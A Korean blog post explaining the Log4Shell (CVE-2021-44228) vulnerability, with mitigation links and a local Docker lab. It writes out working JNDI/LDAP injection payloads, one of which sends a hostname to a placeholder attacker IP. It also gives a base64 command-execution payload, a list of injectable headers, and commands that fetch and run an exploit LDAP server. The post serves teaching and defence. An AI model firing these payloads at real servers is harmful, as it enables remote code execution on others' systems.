조금 늦었지만 Log4j 취약점( CVE-2021-44228 ) 정리 글을 써보려고 한다.

 

1. Log4j 란?

Log For Java, 자바 기반 로깅 유틸리티. 디버그용 도구로 주로 사용된다.

그냥 로그를 남기기 위해 사용하는 프로그램이라고 생각하면 될 것이다.

java 기반의 모든 어플리케이션에서 사용이 가능하므로 사용 범위가 굉장히 넓다. (웹사이트, 쇼핑몰 등)

 

 

1-1. 취약점 발견?

JNDI/LDAP Manipulation to RCE 라고 불리는 취약점이 이미 2016년에 blackhat에서 발표한 자료가 있다.

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf?fbclid=IwAR2XjF8p7wFaEyJ_YiWe-EOGeuYp2eF1Ya7hXoKq6AIyPJCA1wnpUnxIikI 

아마 이 자료를 참고해서 발견한것 같다.

 

 

2. 공격방법

우선 이해를 돕기 위해 아래 사진을 보자.

출처 : https://www.randori.com/blog/cve-2021-44228/

 

파라미터나 헤더에 공격 페이로드를 전송하는 방법으로 실행한다.

 

예를들어

https://[피해자 ip]/?x=${jndi:ldap://${hostName}.[공격자 ip]/a}

이런 페이로드를 날렸다고 해보자.

공격자가 미리 만들어놓은 서버에 ${hostName} 부분이 피해자 hostName으로 로그가 찍힌다면 해당 사이트는 취약하다고 판단할 수 있다.

 

${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo

이 페이로드는 서버에 touch /tmp/pwned을 실행시키는 문장이다.

코드 실행이 되었다면 /tmp디렉토리에 pwned.txt 파일이 만들어졌을 것이다.

 

 

- 삽입가능한 헤더 목록

Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
Forwarded-For-Ip
Forwarded-For
Forwarded
If-Modified-Since
Originating-Ip
Referer
True-Client-Ip
User-Agent
X-Api-Version
X-Client-Ip
X-Forwarded-For
X-Leakix
X-Originating-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Wap-Profile

아무 파라미터 넣거나 위에 있는 헤더 중 하나에 페이로드를 넣어 보면 된다.

 

 

참고)

소프트웨어 인벤토리에서 이러한 해시를 찾으면 시스템에 취약한 log4j 라이브러리가 있다라고 할 수 있다.

https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes

 

 

3. 대응 방법

kisa에서 제공한 Log4j 취약점 대응 가이드가 있다.

https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36390 

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

서버에서 log4j RCE 취약점 CVE-2021-44228에 대한 악용 시도를 발견할수 있다.

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

 

Log4j RCE CVE-2021-44228 Exploitation Detection

Log4j RCE CVE-2021-44228 Exploitation Detection. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com


 

- Log4j Cheatsheet

https://therceman.medium.com/log4j-vulnerability-cheatsheet-66b7aeabc607

 

Log4j Vulnerability Cheatsheet

How it works, where to practice, and how to identify

therceman.medium.com

작동 원리, 테스트 환경, 스캐너, 페이로드 주입 장소, 추출 가능 정보 등이 적혀있다.

 

 

 


 

- 직접 테스트해보기

 

1) 도커 이미지 받기

https://github.com/christophetd/log4shell-vulnerable-app

 

GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.

Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. - GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed ...

github.com

 

 

2) 테스트용 LDAP 서버 받기

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

 

Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit

Add jndi links in tomcat 8+ or springBoot 1.2.x+ to bypass trustURLCodebase limit.

github.com

 

 

 

도커 실행 후 아래 코드 차례대로 입력

wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 172.17.0.3

- A 옵션은 LDAP 서버 ip 인데 원하는 ip 입력하면 됨

 

 

LDAP 서버까지 실행시켰으니 바로 테스트해보면 될듯

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

 

테스트 후 다음 명령어 실행 시 tmp에 pwned 파일이 생겼다는 것을 알 수 있다.

$ docker exec vulnerable-app ls /tmp

 


 

- 더 자세한 내용은 여기 보시면 될듯...

https://www.hahwul.com/2021/12/11/log4shell-internet-is-on-fire/

 

Log4shell 전 세계의 인터넷이 불타고 있습니다 🔥 (CVE-2021-44228/CVE-2021-45046/CVE-2021-45105)

네 바로 어제(2021-12-10) Java의 logging package인 log4j2 에서 RCE 0-day 취약점이 공개되었습니다. Service, Application에 로그를 쌓을수만 있다면 어떤 환경에서도 공격 가능성이 존재하고, 리스크가 RCE인 만

www.hahwul.com

 

복사했습니다!